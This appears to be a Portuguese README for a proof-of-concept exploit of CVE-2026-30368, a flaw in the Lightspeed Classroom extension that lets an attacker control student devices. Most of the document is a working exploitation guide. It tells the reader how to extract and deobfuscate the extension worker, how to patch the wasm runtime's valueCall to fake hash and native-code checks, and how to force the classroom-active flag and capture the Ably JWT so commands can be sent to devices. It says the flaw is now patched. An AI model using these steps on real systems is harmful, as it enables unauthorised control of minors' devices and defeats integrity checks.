
Prova de conceito de exploit para CVE-2026-30368, demonstrando bypass de autenticação no Lightspeed Classroom para controlar dispositivos de alunos via canal Ably.
[!IMPORTANT]
Isto foi corrigido e agora requer credenciais, use o workaround para executar ações em você mesmo.
A CVE-2026-30368 permite que um invasor controle dispositivos de estudantes através de uma falha de autenticação fraca no gerenciamento de sala de aula Lightspeed Classroom. A POC (poc.js) executa o service worker da extensão LS Classroom em contexto global. O worker também executa classroom.wasm para algumas funções. wasm-loader.js carrega o worker e extrai o token JWT gerado por classroom.wasm. Uma vez extraído, ele encerra o worker e envia o token para as APIs da Lightspeed para receber um token usado para conectar ao canal Ably do alvo. A partir daí, um invasor poderia enviar um comando para um dispositivo de estudante. A lista de comandos e muito mais informações está no writeup completo localizado aqui.
Eles não podem estar neste repositório porque:
Para evitar problemas, recomendo usar a versão 5.1.2.1763770643. Se precisar de ajuda para adaptar versões mais novas, você está por conta própria.
Você pode obter os arquivos worker.js e classroom.wasm do código-fonte da extensão Lightspeed. Isso pode ser obtido fazendo login com sua conta escolar no Chrome em um dispositivo pessoal e extraindo o código-fonte da extensão da pasta de extensões localizada no diretório do seu perfil do Chrome. Você também pode baixar manualmente o crx através da URL de atualização.
O método mais fácil desta exploração é primeiro obter classroom.wasm do código-fonte da sua extensão, colá-lo no mesmo diretório de wasm-only.js e executar:
$ node wasm-only.js
Digite um email e ID de cliente quando solicitado. Isso conectará ao canal ably. Vá para a linha 815 e descomente o que você quer enviar como mensagens. Crédito: ktibow no discord
Depois de ter os arquivos, basta adicioná-los ao diretório do repositório clonado. Você terá que ir em wasm-loader.js até a função getManifest() e colar seu manifest da extensão lá. Você também terá que adicionar o ID da extensão em wasm-loader.js no topo.
Faça uma cópia de worker.js com um nome de arquivo de sua preferência. Você precisará dela mais tarde. Você precisará executar worker.js através do webcrack para desofuscar e desminificar para realizar as modificações necessárias. Ao fazer isso, certifique-se de selecionar apenas as opções "Deobfuscate" e "Unminify". Antes de colar o resultado de volta no seu editor, é recomendado desligar todos os servidores LSP porque eles removerão variáveis aleatórias e farão o worker quebrar em etapas subsequentes (estou olhando para você, vtsls...)
Como o service worker será executado no node.js (certifique-se de tê-lo instalado), ele precisará de alguns ajustes para funcionar corretamente. A lógica de extração do JWT também precisa ser adicionada. Adicione as seguintes 2 funções bem no topo de worker.js:
function valueCallBefore(call, before, func, r) {
const actualWorkerUrl = 'chrome-extension://YOUR_EXTENSION_ID/worker_copy.js'
if (call[0] == "chrome-extension://YOUR_EXTENSION_ID/worker.js") {
return [actualWorkerUrl, call[1]];
}
if (func == chrome.identity.getProfileUserInfo) {
call[1](https://github.com/truekas/ls-poc/blob/master/identity)
return []
}
return before
}
function valueCallAfter(call, after, func, r) {
if (func.name == "toString"){
return 'function getProfileUserInfo() { [native code] }'
}
if (call[0] == "worker.js") {
return "chrome-extension://YOUR_EXTENSION_ID/worker_copy.js"
}
return after
}
Estas serão usadas quando modificarmos o runtime go do wasm para interceptar e modificar valores usados pelo wasm do LS classroom.
Certifique-se de substituir YOUR_EXTENSION_ID pelo seu ID de extensão e worker_copy.js pelo nome do arquivo da cópia do worker.js original que você fez anteriormente.
Em seguida, adicione estas 2 funções dentro da função de seta principal (após o (() => {)
chrome.runtime.getPlatformInfo = function (e) {
e({
"arch": "x86-64",
"nacl_arch": "x86-64",
"os": "cros"
})
return {
"arch": "x86-64",
"nacl_arch": "x86-64",
"os": "cros"
}
}
chrome.identity.getProfileUserInfo = function (e) {
if (e){
e(identity)
} else {
return identity
}
}
Em seguida, você precisa codificar IsClassroomActive como true para que possa executar isso fora de redes do campus. Simplesmente mude a função para sempre retornar true:
_0x22e7ce.exports = {
IsChromebookOnly: _0x218c73,
IsClassroomActive: function () {
return true;
},
LoadPolicy: _0x9069fc
};
Depois, procure por syscall/js.valueCall para encontrar a função valueCall que precisa ser modificada. É isso que informa ao wasm sobre um valor JS. Os 2 valores que são interceptados e alterados ao modificar esta função são o caminho de worker.js (é alterado para a cópia do seu worker para que a verificação de hash passe) e o valor de chrome.identity.getProfileUserInfo.toString é alterado para dizer native code para que o WASM acredite que pode ser confiável quando na realidade foi modificado no topo do arquivo. Para fazer isso, você precisa usar as funções valueCallBefore e valueCallAfter que definimos no topo. Modifique a função valueCall assim (os nomes das variáveis variarão, mas a estrutura é a mesma):
"syscall/js.valueCall": function (_0x4b3309) {
_0x4b3309 >>>= 0;
try {
var _0x35f3af = _0x3634e7(_0x4b3309 + 8);
var _0x13b354 = Reflect.get(_0x35f3af, _0x221273(_0x4b3309 + 16));
var _0x369f3d = _0x5a331c(_0x4b3309 + 32);
_0x369f3d = valueCallBefore(_0x369f3d, _0x369f3d, _0x13b354, _0x35f3af);
var _0x1b573a = Reflect.apply(_0x13b354, _0x35f3af, _0x369f3d);
_0x1b573a = valueCallAfter(_0x369f3d, _0x1b573a, _0x13b354, _0x35f3af);
_0x4b3309 = _0x489a1f._inst.exports.getsp() >>> 0;
_0x51c0ee(_0x4b3309 + 56, _0x1b573a);
_0x489a1f.mem.setUint8(_0x4b3309 + 64, 1);
} catch (_0x4b14cb) {
_0x4b3309 = _0x489a1f._inst.exports.getsp() >>> 0;
_0x51c0ee(_0x4b3309 + 56, _0x4b14cb);
_0x489a1f.mem.setUint8(_0x4b3309 + 64, 0);
}
},
Quase pronto. Por último, você precisa adicionar código para capturar o JWT. Procure por echoMessages: false e você encontrará a variável contendo a lista de cabeçalhos enviados ao Ably. Logo abaixo disso, adicione esta linha (os nomes das variáveis provavelmente não serão precisos, você pode encontrar a mesma linha acessando ablyJwt em authHeaders):
globalThis.__LIGHTSPEED_JWT__ = _0xed754d("ablyJwt");
Isso atribui o JWT a uma variável no escopo global para que wasm-loader.js (o "harness" que executa o service worker) possa acessá-lo. Isso conclui a modificação do worker. Certifique-se de que todos os seus LSPs ainda estejam desligados. Se eles ligarem novamente, você pode ter problemas com variáveis indefinidas mais tarde.
Vá para o arquivo poc.js. No topo, adicione o email e o ID de Cliente de uma conta que você deseja testar (de preferência a sua). Usar um ID de cliente diferente do seu lançará um erro, pois você precisa ter os arquivos worker.js e classroom.wasm corretos correspondentes àquele ID de cliente.